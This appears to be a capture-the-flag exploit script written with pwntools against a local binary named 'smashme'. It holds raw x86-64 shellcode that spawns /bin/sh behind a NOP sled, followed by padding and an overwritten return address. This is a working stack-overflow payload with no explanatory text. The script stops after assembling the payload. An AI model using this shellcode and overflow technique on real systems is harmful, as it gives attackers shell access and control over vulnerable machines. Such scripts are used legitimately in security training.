from pwn import *

p = process("./smashme")

print p.recvuntil("?\n")

shellcode = "\x90\x90\x90\x90\x90\x90\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

payload = shellcode
payload += "Smash me outside, how bout dAAAAAAAAAAA"
payload += "\x82\x35\x40\x00\x00\x00\x00\x00"
